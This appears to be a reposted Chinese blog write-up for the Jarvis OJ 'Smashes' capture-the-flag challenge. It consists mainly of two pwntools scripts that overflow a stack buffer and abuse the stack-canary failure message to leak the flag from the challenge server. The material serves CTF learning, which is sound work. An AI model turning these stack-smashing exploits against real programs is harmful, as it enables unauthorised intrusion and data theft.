Jarvis OJ-Smashes

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Jarvis OJ-Smashes相关的知识,希望对你有一定的参考价值。

栈溢出之利用-stack-chk-fail

from pwn import *
old_flag_addr = 0x600d20
new_flag_addr = 0x400d20
#p = process(‘./smashes‘)
p = remote(‘pwn.jarvisoj.com‘, 9877)
p.recvuntil("name?")
payload = "a"*0x218 + p64(new_flag_addr) 
payload += p64(0) + p64(old_flag_addr)
p.sendline(payload)
p.recvuntil("flag: ")
env = "LIBC_FATAL_STDERR_=1"
p.sendline(env)
flag = p.recv()
print flag

论canary的几种玩法

from pwn import *
context.log_level = ‘debug‘
cn = remote(‘pwn.jarvisoj.com‘, 9877)
# cn = process(‘smashes‘)
cn.recv()
cn.sendline(p64(0x0400d20)*300)
cn.recv()
cn.sendline()
cn.recv()

  

以上是关于Jarvis OJ-Smashes的主要内容,如果未能解决你的问题,请参考以下文章

Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用

[Jarvis OJ] -Basic

jarvis OJ basic WP

Jarvis OJ

基于Linux平台下的语音管家Jarvis

LeetCode 587 安装栅栏[凸包算法 Jarvis算法] HERODING的LeetCode之路